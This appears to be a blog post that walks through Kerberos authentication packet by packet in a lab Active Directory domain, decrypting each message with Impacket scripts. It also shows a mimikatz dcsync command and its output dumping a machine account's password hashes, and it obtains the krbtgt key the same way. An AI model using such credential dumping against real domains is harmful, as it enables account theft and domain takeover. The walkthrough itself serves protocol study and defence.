Arabic
Table of Contents
ده شرح بالعربى للجزئيه الخاصه بكيفية عمل الكيربروس
مش موجود فيها كل اللى مشروح فى البلوج هنا بس فيها اللى يكفيك تفهم المكتوب هنا بسهوله
Overview
Kerberos is a centralized authentication protocol, works using tickets instead of the challenge-response mechanism.
Unlike the permanent channels between the client and the servers which are required and used when authenticating and using service via NTLM, Kerberos depends on stateless login mechanism using trust between the parties involved in the authentication process instead.
The client simply asks for a ticket that proof it’s identity, cache it and uses it when connecting to services.
There is no open tunnel between the client and the service for authentication, actually, the whole authentication process (In normal scenarios) takes place between the client and the KDC before even connecting to the service.
Before proceeding with Kerberos details, we need to make a quick overview regarding Kerberos and put some terms which will be used heavily within this post
1 – Client: this can be any machine requesting access to any service over the network
2 – Key Distribution Center (KDC) which handle the Kerberos authentication requests, it’s usually the domain controller or at least has access to the users and services secrets (Hashes) and consists of 2 services,
A – Authentication server (AS) which receives the client’s authentication requests
B – Ticket Granting Service (TGS), which issue tickets to the client to access the services he needs.
3 – Service: The service you need to gain access to, Both Clients and Services are considered as principals, more on that later.
4 – Realm, which is the uppercase value of the Domain name in the AD environments.
I don’t want to flood your brain with terms, so the rest will follow just in their place during walking through the authentication process, but for now, keep the following on mind:
1 – The whole Kerberos authentication process is going between Client, KDC and service, also it’s centralized and depends on the trust of the client and the service with the KDC.
The KDC has access to users and services credentials, it uses these credentials (Secrets) of both user and service to assure the integrity of the user through a cryptographic process which is the main focus of this post.
2 – Kerberos is used for authentication, not authorization.
This means that Kerberos will help you verify the user’s identity by checking his login data, but yet it won’t help you to verify if the user has or doesn’t have access to the service.
If John is trying to access MSSQL service at 10.0.0.2, Kerberos will validate John’s login credentials, but won’t validate if John has access to the Databases on that MSSQL service or not.
The authorization step depends on the service, Privileged Attribute Certificate (PAC) and the local machine’s or service’s policies are usually used for that matter as will mentioned later.
3 – Kerberos authentication is host-based, not IP based like NTLM, mean if You got a service hosted at machine win2012.jnkfo.lab (192.168.18.12), You should connect to the hostname of the machine instead of the IP address, otherwise, windows will pick up the NTLM authentication instead of Kerberos.
Example: using windows 10 to connect to SMB at win2012.jnkfo.lab (192.168.18.12) using IP address directly.
NTLM authentication was used, unlike connecting using the hostname where Kerberos authentication is used by default.
This is happening because Kerberos requires a Service Principle Name (SPN) while connecting, and before Windows 10 version 1507 and Windows Server 2016 IP addresses couldn’t be used as a part of the SPN name, the only hostname could be used.
More about that at the SPNs part.
Service Principal Names (SPNs)
As mentioned earlier, Users and Services which are used through the Kerberos authentication process are called principals, These principals should have a specific formatted name that complies with Kerberos requirements.
You should differentiate between UPN which is the user principal name and SPN which is the Service principal name
So to connect to an SMB service at host win2012.jnkfo.lab which has the IP address of 192.168.18.12
By default, Kerberos isn’t used to authenticate your client with the SMB using the IP address, it requires what’s called the SPN, which take the following formats
ServiceClass/Host:Port
So for MsSQL, You will find the following SPN
C:\Users\Administrator>setspn -L jnkfo\mssqlserver Registered ServicePrincipalNames for CN=mssqlserver,CN=Users,DC=jnkfo,DC=lab: MSSQLSvc/win2012.jnkfo.lab:1433
MSSQLSvc: is the service class
win2012.jnkfo.lab: is the Host where the service can be found
1433: is the port on which the service is running.
Sysadmins can register the service without adding the port number, it’s not mandatory but it’s needed in several cases.
Services SPNs must be set before using Kerberos for authentication, otherwise, You’ll get a KRB5KDC_ERR_S_PRINCIPAL_UNKNOWN error
An SPN can be registered using
setspn -A ServiceClass/Hostname:Port Domain\Username
Now I can connect to the service normally
After windows server 2016 and Windows 10 version 1507 IP addresses can be used as a part of the SPN, but that’s not the default and requires updating the client’s settings which aren’t our concern today, more details can be found here
There are several default SPNs for windows including CIFS, LDAP, Host, terminal services… etc
The Host SPN itself including several services beneath it, You will find that the “host” SPN is called when executing certain functions.
These services can be obtained from the ADSI
host=alerter,appmgmt,cisvc,clipsrv,browser,dhcp,dnscache,replicator,eventlog,eventsystem,policyagent,oakley, dmserver,dns,mcsvc,fax,msiserver,ias,messenger,netlogon,netman,netdde,netddedsm,nmagent,plugplay,protectedstorage, rasman,rpclocator,rpc,rpcss,remoteaccess,rsvp,samss,scardsvr,scesrv,seclogon,scm,dcom,cifs,spooler,snmp,schedule, tapisrv,trksvr,trkwks,ups,time,wins,www,http,w3svc,iisadmin,msdt
So don’t get confused when you find the “host” SPN at Wireshark while connecting to some services.
Summary
SPNs are used when authenticating to any service using Kerberos, the service must have a registered SPN in order for Kerberos to be used for authentication.
SPN’s format is ServiceClass/host:port
Kerberos authentication
Setting up
Assume user jnkfo\win10user need to connect to SMB service at win10.jnkfo.lab, I will use Impacket to do so and Wireshark to track everything
The following code will do so
from impacket.smbconnection import SMBConnection smbconn = SMBConnection("win10.jnkfo.lab", "192.168.18.10") login = smbconn.kerberosLogin("win10user", "P@ssw0rd", "jnkfo.lab", "","","", kdcHost="192.168.18.2") print login
Hostname : win10.jnkfo.lab
Host IP: 192.168.18.10
username: win10user
Domain name: jnkfo.lab
KDC Host (Domain controller) : 192.168.18.2
Before executing the code, launch Wireshark and use the following filter “kerberos or smb or smb2” to track just the smb and Kerberos packets
Once u execute the command, you will see some packets in Wireshark
Once you got that, we’re ready to go.
In a nutshell
Let’s split the connection into 2 parts,
1 – Client <—-> KDC
2 – Client <—-> Service
I won’t discuss the SMB negotiation here, it’s already discussed in the previous part, we’re more interested in the Kerberos auth process.
First, the client is contacting the KDC to retrieve a ticket, Then, the client presents that ticket to the service, as proof of his identity.
The 1st part (Client <—-> KDC) involves the following
1 – AS-REQ (Authentication request):
The client hashes the user’s password, uses that hash to encrypt the current timestamp, and sends the encrypted timestamp to the KDC.
The KDC already has a copy of the user’s hash so it uses the hash and tries to decrypt that message to retrieve the timestamp.
If the decryption is successful, then the KDC knows that the client used the correct hash and hence proved his identity to that KDC
2 – AS-REP (Authentication reply): The Authentication service (AS) replies with two messages
A – A session key encrypted using the user’s hash, that key will be used for future messages.
B – TGT (ticket-granting ticket), That TGT contains information regarding the user and his privileges on the domain, This message is encrypted using the hash of the KRBTGT account’s password. That hash is known only to the KDC, so only the KDC can decrypt the TGT.
3 – TGS-REQ (Ticket Granting Service request): The client now has the TGT, he then requests a ticket to access the service he wants, so the client encrypts that request using the session key and sends it to the KDC which will decrypt and validate it. The TGT is also sent in that request.
4 – TGS-REP: After validating the TGT the KDC responds with two messages
A – A message specialized for the targeted service, encrypted with the service’s hash which is stored at the KDC, this includes the information in the TGT as well as a session key
B – A message for the client containing a session key for further requests between the client and the service he asked to access, which is encrypted using the key retrieved from the AS-REP step.
The 2nd part Client <—-> Service
The client presents the message (TGS) from the TGS-REP step while connecting to the service along with an encrypted part, called authenticator message, this part includes the user’s name and timestamp which was encrypted and will be decrypted using the service session key.
Then compare the username and timestamp from the TGS with the username and timestamp from the authenticator message.
That’s how Kerberos works without digging deep, but that’s not enough AT ALL to understand Kerberos attacks.
It’s better to dig deeper in each message and how it’s working, the information it contains, and what each piece of information will be used for.
That’s what I will be discussing using the packets I’ve captured earlier
Pre AS-REQ
1 – The client tries to send an AS-REQ message to the KDC containing the following information
The 1st part includes
- The message type or the Application class tag number (10)
- Kerberos version (pvno = 5)
- The padata which contains the authentication type 128 (PA-PAC-REQUEST) which indicates either PAC is present or not, in this case, you’ll find that Kerberos.include_pac is true so it means “no PAC is present, include the PAC”
The 2nd part includes the ticket flags or attributes
- Forwardable: The ticket can be forwarded, This flag is typically set during the AS exchange and is used by the TGS when issuing tickets.
- proxiable: the ticket can be sent to a proxy and used by a proxy.
- renewable: The client can request to have the ticket renewed instead of having a new ticket issued when the current expires
The 3rd part includes
- CnameString: which is the username we’re using to login “win10user“
- realm: which is the uppercase of the full name of the domain we’re logging in to “jnkfo.lab”
The 4th part includes
- SnameString: which is the name of the Kerberos service we need (krbtgt in that case)
- realm: which is the uppercase of the full name of the domain “jnkfo.lab”
The 5th part includes the encryption algorithm which will be used (AES256 in this case)
The full message is in plaintext, no secrets are shared at all
KRB5KDC_ERR_PREAUTH_REQUIRED
The KDC responds to the client that it needs more information to prove that he own the password (key) of the user he’s authenticating as
that’s the part in which the user’s password or hash is needed.
You’ll find many old parameters included in the message already, but yet some new parameters are sent to the client
- stime: The current server time
- susec: The server’s timestamp in microseconds
- salt: JNKFO.LABwin10user
- And obviously the error code
AS-REQ
From now and on you’ll notice that there is an encrypted part and a plaintext part, this will be obvious in a few seconds.
In this step, the user’s hash will be used to encrypt the timestamp and send it to the KDC, The packet includes
This request includes everything in the 1st AS-REQ message including
- Cname: already discussed, contain the client principal name ([email protected])
- Sname: already discussed, contains the service principal name ([email protected])
and more importantly, the encrypted timestamp part which can be found at the cipher field.
The value is : e881a392d5eb0f57f7cd023a5b6eaaf5df73c023011fa8837e501769417a90c3ed73372c689c930881129b913904cde1c908fa7469775e39
etype: which is the encryption type used while encrypting the timestamp, which is AES256
to decrypt that message we need to get the AES256 key for the user, then use it to decrypt the cipher
The following code will help
from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum from pyasn1.codec.der import decoder, encoder cipher = _enctype_table[18] password = "P@ssw0rd" salt = "JNKFO.LABwin10user" key = cipher.string_to_key(password, salt, None) #hexlify(key.contents) mycipher = "e881a392d5eb0f57f7cd023a5b6eaaf5df73c023011fa8837e501769417a90c3ed73372c689c930881129b913904cde1c908fa7469775e39" enctimestamp = cipher.decrypt(key, 1, unhexlify(mycipher)) dec = decoder.decode(enctimestamp) for i in dec: print i
This will produce the following output, which is the clear text timestamp
Sequence: field-0=20200424142303Z field-1=197279
The message is sent to to the KDC which will proceed with the authentication process
AS-REP
The KDC has a copy of the user’s key, so if the user encrypted the timestamp using the correct key, the KDC will be able to decrypt it and hence the KDC assured that the client used the user’s correct password.
Once this step is done the KDC generates a random session key, sends the AS-REP (Authentication reply), which contain 2 messages
Message A
Which is encrypted using the user’s secret key, and so it can be decrypted and read by the user.
The message contains the following information
- TGS session key
- TGS name
- Timestamp
- Lifetime
We can decrypt and read these data using win10user’s key, let’s get the key directly from the DC instead of generating it using the plaintext password
The Etype in the packet is 18, meaning we will need the AES256 key,
Using the following script to decrypt the cipher in message A will help us understand what’s going on
from pyasn1.codec.der import decoder, encoder from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum cipher = _enctype_table[18] key = Key(18, unhexlify("1ed620f476644bb555227e913400edf446980824f60564ee4bd3430ca34981c1")) mycipher = "d20a921ad48dbdf8616f85e05418466c8021f7b45b8adf4ffa59940260c23c2e1eb88fcb2603a6625c81d0a7c840db62bf7cbb4e22d5de52f303155a0098f3e7ea3a98d226c3ff572429df5156656c51d8880bd87c355929189f501970bcd8aeef6405e908131f26c8701075b2314a96de39e4727698081e989bb35716c5dc3081bd071d1c9938b078a170a5697fd3dbe1879ed48a490c8914221d94feb13e126a011dad7584bd1db525dabd159534e936578ff1e4120c3183367d190587aaf64e51e2c140542dbcc170c933cb62ebe3a736674054fa6921732351b5854e6918d79e1614983a224b20af9bc36c28e89a404aa736b6405ed18cd21a5eb7c8a82b5112287aeb650757cd4e" jnk = cipher.decrypt(key, 3, unhexlify(mycipher)) dec = decoder.decode(jnk) for i in dec: print i
The output is
Sequence: field-0=Sequence: field-0=18 field-1=0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64 field-1=SequenceOf: Sequence: field-0=0 field-1=20200424142303Z field-2=755736468 field-3=20200524145835Z field-4=1356922880 field-5=20200424142303Z field-6=20200424142303Z field-7=20200425002303Z field-8=20200425142303Z field-9=JNKFO.LAB field-10=Sequence: field-0=1 field-1=SequenceOf: krbtgt JNKFO.LAB
You will notice some familiar fields, such as the
- The TGS service name: krbtgt
- Realm: jnkfo.lab
- Session key : 0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64
- Timestamp: 20200424142303
Message B (TGT)
This includes a plaintext part that contains the SPN (TGS name <krbtgt>) and an encrypted part which is making the Ticket Granting Ticket (TGT).
The 2nd part (enc-part) contains the following information
- Username
- Realm
- Session key
- Timestamp
- Lifetime
That part is encrypted using the krbtgt key, which only the KDC knows, and so only KDC can decrypt this part.
We can get the krbtgt key using the same method explained at Message A, and so we can decrypt that cipher using the following code
from pyasn1.codec.der import decoder, encoder from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum cipher = _enctype_table[18] key = Key(18, unhexlify("8b4b161245435ee310d420c195995f2d22b88c680dae09196cd29e4e05723638")) mycipher = "65c0e02f31835d711d581eafba47461c767aaae82cc2677925822df7ba88fcf2ae1b06c239028c22ab0b69ecb4ccd0da2cc3d5fdbb3f3144f5cee858ce152865dcc6bcf5a6c7288926c85ac7a89c8ce911ebe34bf8f3575ba395b21cdfa74b6103ab7441ed4afa07804dc22a34f102f737c05f2a10ca1b99d926ac13e2f563ccac3cfbdd6049d076803609595b77ff76eaa3a0a18209b7b4159ad8ec2ec9d1c164ebff949918dedf153d9d881d182cad5e1a3f1fc61bd23f4eee710812d8b0bfe5b4d0140700f1efdd2dec1a9f2190a4956bcf4362d101399f910bcbe339f8de33715b947fb7d56d2cd0622dd994963583e9cce686737bd6623b28b18e28eb29a319b4c64f50c28e8736c218039196907e9e5694d2a017bf714b6a94315e32395447e46a34d8dbe9a24d05c95f596ef263ee73e0ff221592631da6ecf5baa07c7441ddd66dd53813d81639be67203a86bd63b188894c30c80b4bf9bc100f0ea8a9d9a5712dc3e311f82c04a2fe01ec73f804e839b7030530952e79fd34df82436665c9a8d8399ffe2f36c611010137cee12847ae04803a54390ad907ca03cbf8a3fe3db1be254861d70aa93b43b3e0ee669dc221297782e3e3e4b6c25c4b6e8f7621e4efc568afd40be7dd9bda17b01282461ee5cf562ca1cdea820d13cdb1fa007e3bde2102bd0ca24e1527dcb0772bb98b7dc0f17c2b699657a6678d73fecc99545e76fcd9fff75598b8129222117f19e56536406cdb42f9fb1ea3820d8c33687dd2e87ba361794841b23fab0d8c8a37d6cd3fe2d033bd861ff89e3ecc894b20b88af2881af91ea3a2b5f26fb5a958292da07bde177cc6a1a7eec04cfdf028366e51fdf0d5a977ce513bbd146c567d15eee7f5e396c2ee9f3e5658b33f5a8c1d60e3fb3e6302df7eba13ba229a2b2b76b52f67a3305e9519a476682c57637822f4f8f3795e50ac9d3095e42bd65ccf5424b1876bbc1e383f188a70876bd44d3212884b6ccd84b35690ea7ee24e9c7495414720ed1958a27f6f66cafc3b2fade20cbc36fde6d88060d19e027f2b4c2d99e77660b2c1f3c9fa70e7e33e893e695b9effeb60e786ee77728a49c308c587d5be72381b30baac7581e72ffaf181a5a15632f89b0fd148823c5ef4f91b631f60733afb0fcbb721b619b7fe6ce86d68b4d056ccf65ab8fea967140590b3318d0869576fd77cce2b0306121b86b45e0584255f37c788b5f888ef41167d74eb0374c7d6fd925f9f82822fdb579f00693494d3ff4334fccec6e1b9eb97ebbc6108f6c59e53078b039ec818fdf32860be1e5a30210ec821a042de32a9ca47975f" jnk = cipher.decrypt(key, 2, unhexlify(mycipher)) dec = decoder.decode(jnk) for i in dec: print i
Output is
Sequence: field-0=1356922880 field-1=Sequence: field-0=18 field-1=0x64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64 field-2=JNKFO.LAB field-3=Sequence: field-0=1 field-1=SequenceOf: win10user field-4=Sequence: field-0=0 field-1= field-5=20200424142303Z field-6=20200424142303Z field-7=20200425002303Z field-8=20200425142303Z field-9=SequenceOf: Sequence: field-0=1 field-1=0x308202ba308202b6a00402020080a18202ac048202a8050000000000000001000000b801000058000000000000000a0000001c00000010020000000000000c000000500000003002000000000000060000001000000080020000000000000700000014000000900200000000000001100800cccccccca80100000000000000000200629531ad411ad601ffffffffffffff7fffffffffffffff7fce9547d7da10d601ce55b101a411d601ce15a1ccdb31d60112001200040002000000000008000200000000000c0002000000000010000200000000001400020000000000180002004f0000005004000001020000010000001c000200200000000000000000000000000000000000000004000600200002000a000c00240002002800020000000000000000001000000000000000000000000000000000000000000000000000000000000000010000002c000200000000000000000000000000090000000000000009000000770069006e003100300075007300650072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000102000007000000030000000000000002000000440043000600000000000000050000004a004e004b0046004f000000040000000104000000000005150000002e9b71bded76d1b44c28fa960100000030000200070000000100000001010000000000120100000000000000803d2fdd431ad6011200770069006e003100300075007300650072000000000026001000120038000100000000000000770069006e0031003000750073006500720040006a006e006b0066006f002e006c006100620000004a004e004b0046004f002e004c004100420000000000000010000000f22e9087d4255c88f2db506376ffffffae3c04a84d7d18d4c9282f7a5da45a3400000000
- Username and Realm: [email protected]
- Session key: The same session key as the key in message A
- Timestamp and lifetime
- PAC data
So, at this step, once the client gets these messages, it decrypts Message A using the key derived from the user’s password and obtains the session key which as you noticed is the same in messages A and B.
The client can’t decrypt Message B as it’s encrypted using the TGS key (krbtgt hash) as prementioned, but yet the TGT will be stored in the cache to be used later.
Now the client needs to get a ticket with which he can access the service he needs, the SMB service with which we were communicating in the 1st place.
TGS-REQ
At this point, the client will start asking to deal with the targeted service, not the TGT as we were communicating with.
So the client sends the TGS-REQ which includes 2 parts, a plaintext part that indicates the service the client needs to access (The SPN)
Which cifs/win10.jnkfo.lab
and another 2 encrypted messages
Message C
This contains the TGT which was retrieved from the previous step (Message B)
Message D
or the Authenticator, which is an encrypted message generated by the client contains the username and the timestamp
This message (authenticator) is encrypted using the session key retrieved from Message A
The client sends this request to the KDC which do the following
- Extract the TGT from message C
- Decrypt the TGT at Message C using the TGS key (krbtgt key which is stored at the KDC), and retrieve the session key, username, and the timestamp from the TGT (message B).
- Use the session key to decrypt the authenticator which contains the username and the timestamp.
- Compare the username and timestamp from the TGT (1) with the username and timestamp from the Authenticator (2)
- Check the TGT lifetime to make sure it’s not expired
If everything is ok, then the user proved his identity and the authentication process will go on
TGS-REP
After validating the client’s identity, the KDC needs to create a TGS, the one which the client will use to authenticate to the service.
The KDC generates a random key (Service session key) and sends back the TGS-REP which includes 2 messages.
Message E
This part includes a plaintext part which contains the SPN the user is trying to access (cifs/win10.jnkfo.lab), and another part which is encrypted using the service key, which means that the user is unable to decrypt or manipulate it, this includes the following information
- Service session key
- Username
- Timestamp
- Lifetime
- PAC information
as mentioned this part can be decrypted using the service key, for accessing such a service the Kerberos is using the machine key which can be obtained via
imikatz # lsadump::dcsync /user:WIN10$ /domain:jnkfo.lab [DC] 'jnkfo.lab' will be the domain [DC] 'DC.jnkfo.lab' will be the DC server [DC] 'WIN10$' will be the user account Object RDN : WIN10 ** SAM ACCOUNT ** SAM Username : WIN10$ Account Type : 30000001 ( MACHINE_ACCOUNT ) User Account Control : 00001000 ( WORKSTATION_TRUST_ACCOUNT ) Account expiration : Password last change : 3/29/2020 7:16:42 PM Object Security ID : S-1-5-21-3178339118-3033626349-2532976716-1105 Object Relative ID : 1105 Credentials: Hash NTLM: 1ad9c160bd7ab9cb4b7c890c96862305 ntlm- 0: 1ad9c160bd7ab9cb4b7c890c96862305 ntlm- 1: 5e591b183142300b96281c9b75aaaf99 lm - 0: 3c0bd3dace8dc8f6fabcb58db7761cf3 lm - 1: 1c9cbdcb85af1552edd2e70e4379563d Supplemental Credentials: * Primary:Kerberos-Newer-Keys * Default Salt : JNKFO.LABhostwin10.jnkfo.lab Default Iterations : 4096 Credentials aes256_hmac (4096) : d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8 aes128_hmac (4096) : 1b972a7269a8d841d15bd32577e39a27 des_cbc_md5 (4096) : b0e97c31dc9edf3b
So this part can be decrypted using
from impacket.krb5.pac import PACTYPE, VALIDATION_INFO from pyasn1.codec.der import decoder, encoder from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum import struct cipher = _enctype_table[18] key = Key(18, unhexlify("d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8")) mycipher = "f9eec5f1876a6f53fdaa7884b03205c743fc009487b1eb8b68594e13a0321a39dc42d5e5f747184ccd1ffb59b5956ee20b53e4b0256d688ddfb01c00082ec86f14bf276c68f86bf9f9244ea0f2a568b0e278f82190b388294500deb8860f6301e5dc383c0c8869fa396ddae8e18230d153b112396ec4cf692f30374fb53e4279e805e681fc724924d0d1288488b0c2b08fb40987620a335ca4613d919b3733c5270f34151d6d4648e8c20d4d3ad3616cc330fed0b7c734cd77add28beda3efe5a04dc148b611be00117ca500fd3ee3d00efebb62085eff1883d5a40a9b150798439e7e6f6e52b102246a9a94bface1409bdf08063d0bedc6c95b4fc65c89dc9f79e98b9f7909882253cfb2c6029e2f308bb9b5ef69c30593365194ea73d55962198c9b6753540adf472165b73a84ec0b74bc37d02658c807f396036cbf3f868c47e8a9873a0eebdbdb46ddb97063ee4972f8e4d405d62606c4ec43497fe44989d2deb14b5ad22a6425bfb90416ac8a4c28bd2c40097c5a63e18eb4b9e158a3785954f5edb6b994f2ed1e03734d1b5da870dcce547e383d09efd4f13c35a19121d7c6a3bbc4267307b5f9d9c9ab84a4a786bb7affce9055c92ed3e9245ad2070116a8cd25dc0545e8602fba1d726bfd2ee4502e1b3b72f2c4ec555a42494390ea97726cbaa1587ac38bfa5280ebce0429f82076d4fb02dc28273b9cf316c58348feb6b693df5dddc3ff216764daac836aadcfbb708827ba01ae81f24e7ce62b95072d075269ba7c69b1f4d6123389cffdcf6f0289d4d17f53987cdd004bd6f6c222dd3a8beb4e16da02b1651848492c5020a713f293f4366280fb0cd9d0586dd62eb531f5cdeeb08fe607971cc4698aa01013e0729978f794f2eb4009c76c56534a9942c3d29d84d630cccfbe3ef78950a57535df0410889eec9197470f556a21235259bb7a82d2cd59738b7ea2ea87e9dc9fc6e1fdc50dd59df0a1818ceade470c05b4b2e4a1c69aba5b0edc5c2e8bb9f28e16bf1bd0b1b960bfc80f7ebc729c3f83aca48b24d411368a95354db446a6450896969644c8892914b974a066ddce78ecd738f76546153095f70177630b6d8d961a806f2b959be6e2a3c73d430f1dae9b562876ff602966f48d65fd33af396ed31c79ca2a8bf409e04779ec0d978f3624441645f290d11b20f5847ea0211d8377ad61127dcbf02a1fa8ab2b7ed51ed9abf0d484c5ac3315d1b864b55d598f6b705509c37fb88eddc65ddb136c090e285c33968f32e1816e29fbcfa307f0cdef28fa7d6b0d54cf1c525e6be479a1" jnk = cipher.decrypt(key, 2, unhexlify(mycipher)) dec = decoder.decode(jnk)[0] print "------------------- Ticket Data ------------------" print dec
the output is
Sequence: field-0=1084293120 field-1=Sequence: field-0=23 field-1=0x2c0d86037d0014a317d8c5aee4e8d339 field-2=JNKFO.LAB field-3=Sequence: field-0=1 field-1=SequenceOf: win10user field-4=Sequence: field-0=1 field-1= field-5=20200424142303Z field-6=20200424142303Z field-7=20200425002303Z field-8=20200425142303Z field-9=SequenceOf: Sequence: field-0=1 field-1=0x308202ba308202b6a00402020080a18202ac048202a8050000000000000001000000b801000058000000000000000a0000001c00000010020000000000000c000000500000003002000000000000060000001000000080020000000000000700000014000000900200000000000001100800cccccccca80100000000000000000200629531ad411ad601ffffffffffffff7fffffffffffffff7fce9547d7da10d601ce55b101a411d601ce15a1ccdb31d60112001200040002000000000008000200000000000c0002000000000010000200000000001400020000000000180002004f0000005004000001020000010000001c000200200000000000000000000000000000000000000004000600200002000a000c00240002002800020000000000000000001000000000000000000000000000000000000000000000000000000000000000010000002c000200000000000000000000000000090000000000000009000000770069006e003100300075007300650072000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000102000007000000030000000000000002000000440043000600000000000000050000004a004e004b0046004f000000040000000104000000000005150000002e9b71bded76d1b44c28fa960100000030000200070000000100000001010000000000120100000000000000803d2fdd431ad6011200770069006e003100300075007300650072000000000026001000120038000100000000000000770069006e0031003000750073006500720040006a006e006b0066006f002e006c006100620000004a004e004b0046004f002e004c004100420000000000000010000000ad9bd35bb460f8b45d7dd91576ffffff69c616734739a1f74cea493a458977f900000000
You’ll note
- Encryption type: 23
- A service session key: 2c0d86037d0014a317d8c5aee4e8d339
- Client name:win10user
- realm: JNKFO.LAB
- Timestamp and PAC
Message F
This message is encrypted using the session key which is already cached at the client (check AS-REP), so the user can decrypt this one easily and obtain
- Service session key
- Timestamp
- Lifetime
- Service name
Note that the Service session key is found in both messages.
So let’s decrypt that cipher using
from impacket.krb5.pac import PACTYPE, VALIDATION_INFO from pyasn1.codec.der import decoder, encoder from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum cipher = _enctype_table[18] key = Key(18, unhexlify("64586df7e4620c197c1889f84d3aa825c4c6060d12633a83bfc9af11f5fdab64")) mycipher = "7d996b5c8ce08c1f8ab31471dde8d6d892a4f8ff3cec5527f357b425786c05e7f3616f6ea6768c47202924f6a9f86308f3ff873f43e9d9a6715da5cb8ce48b2b8ecfac5e738e03cb0546e870d3d8ed300d5fe009de6e4cea0312f4e1c6ca7ca62c502aedbc45e09bb6617753860e7613be068e27aa993b08619ad6ba148659505ca9443525b63186845ae4a69c383587c742a2cb962ff0d2a8b56edb389987d472d76962d0ddb146f1dfcf198a7f9a96a80c8c39637905dde9e1044774a027f0cc17a553ec8a30e71ecda7f78ef80f20cfec0a5ad5bfdb4560e54fbb9935fd6526b7d6404e43952a07f3fca99bb48a2e0b78fa8b2d2e7008365496a989b573" jnk = cipher.decrypt(key, 8, unhexlify(mycipher)) dec = decoder.decode(jnk)[0] print dec
The output is
Sequence: field-0=Sequence: field-0=23 field-1=0x2c0d86037d0014a317d8c5aee4e8d339 field-1=SequenceOf: Sequence: field-0=0 field-1=20200424142303Z field-2=2035677725 field-3=1084293120 field-4=20200424142303Z field-5=20200424142303Z field-6=20200425002303Z field-7=20200425142303Z field-8=JNKFO.LAB field-9=Sequence: field-0=2 field-1=SequenceOf: cifs win10.jnkfo.lab field-10=SequenceOf: Sequence: field-0=165 field-1=0x1f000000
Did u notice the 2c0d86037d0014a317d8c5aee4e8d339 ?!
So right now the client has obtained the service session key and the service ticket, the client is ready to communicate with the service
Accessing the service (AP-REQ)
The communication between the client and the KDC is now over, the client needs to access the SMB service.
It will do so by sending a couple messages to the service
1 – The service ticket (Message E) which the client got before
2 – Message G or Authenticator message
Which consist of a username and the timestamp, This authenticator is encrypted using the service session key which the client obtained in the previous step from the message F.
Once the service receives this request, it decrypts the service ticket using its own key
Extract the service session key, username, and timestamp
Use the service session key to decrypt the authenticator message and retrieve the username and timestamp
The server then
- compares username from the authenticator with the username from the service ticket
- compares timestamp from the authenticator with the timestamp from the service ticket
- check the lifetime to make sure that the service ticket isn’t expired
If everything is ok, then the authentication process is over, the client is allowed to authenticate to the service as long as the service ticket isn’t expired.
Authorization
As mentioned earlier, the whole process is about authentication, not authorization.
You will notice that there are no privileges checks that took place at all during the entire process, as this will depend on the service or the local machine’s policies itself.
For that matter, the PAC part is also attached to the ticket.
It includes information about the user group memberships among other information.
We can read the PAC attached to the service ticket using
from impacket.krb5.pac import PACTYPE, VALIDATION_INFO from pyasn1.codec.der import decoder, encoder from binascii import unhexlify, hexlify from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum import struct cipher = _enctype_table[18] key = Key(18, unhexlify("d9060eb5200bf63461b1525277212c2d6cddb66a3eac26807183809e27b41ca8")) mycipher = "f9eec5f1876a6f53fdaa7884b03205c743fc009487b1eb8b68594e13a0321a39dc42d5e5f747184ccd1ffb59b5956ee20b53e4b0256d688ddfb01c00082ec86f14bf276c68f86bf9f9244ea0f2a568b0e278f82190b388294500deb8860f6301e5dc383c0c8869fa396ddae8e18230d153b112396ec4cf692f30374fb53e4279e805e681fc724924d0d1288488b0c2b08fb40987620a335ca4613d919b3733c5270f34151d6d4648e8c20d4d3ad3616cc330fed0b7c734cd77add28beda3efe5a04dc148b611be00117ca500fd3ee3d00efebb62085eff1883d5a40a9b150798439e7e6f6e52b102246a9a94bface1409bdf08063d0bedc6c95b4fc65c89dc9f79e98b9f7909882253cfb2c6029e2f308bb9b5ef69c30593365194ea73d55962198c9b6753540adf472165b73a84ec0b74bc37d02658c807f396036cbf3f868c47e8a9873a0eebdbdb46ddb97063ee4972f8e4d405d62606c4ec43497fe44989d2deb14b5ad22a6425bfb90416ac8a4c28bd2c40097c5a63e18eb4b9e158a3785954f5edb6b994f2ed1e03734d1b5da870dcce547e383d09efd4f13c35a19121d7c6a3bbc4267307b5f9d9c9ab84a4a786bb7affce9055c92ed3e9245ad2070116a8cd25dc0545e8602fba1d726bfd2ee4502e1b3b72f2c4ec555a42494390ea97726cbaa1587ac38bfa5280ebce0429f82076d4fb02dc28273b9cf316c58348feb6b693df5dddc3ff216764daac836aadcfbb708827ba01ae81f24e7ce62b95072d075269ba7c69b1f4d6123389cffdcf6f0289d4d17f53987cdd004bd6f6c222dd3a8beb4e16da02b1651848492c5020a713f293f4366280fb0cd9d0586dd62eb531f5cdeeb08fe607971cc4698aa01013e0729978f794f2eb4009c76c56534a9942c3d29d84d630cccfbe3ef78950a57535df0410889eec9197470f556a21235259bb7a82d2cd59738b7ea2ea87e9dc9fc6e1fdc50dd59df0a1818ceade470c05b4b2e4a1c69aba5b0edc5c2e8bb9f28e16bf1bd0b1b960bfc80f7ebc729c3f83aca48b24d411368a95354db446a6450896969644c8892914b974a066ddce78ecd738f76546153095f70177630b6d8d961a806f2b959be6e2a3c73d430f1dae9b562876ff602966f48d65fd33af396ed31c79ca2a8bf409e04779ec0d978f3624441645f290d11b20f5847ea0211d8377ad61127dcbf02a1fa8ab2b7ed51ed9abf0d484c5ac3315d1b864b55d598f6b705509c37fb88eddc65ddb136c090e285c33968f32e1816e29fbcfa307f0cdef28fa7d6b0d54cf1c525e6be479a1" jnk = cipher.decrypt(key, 2, unhexlify(mycipher)) dec = decoder.decode(jnk)[0] print "------------------- Ticket 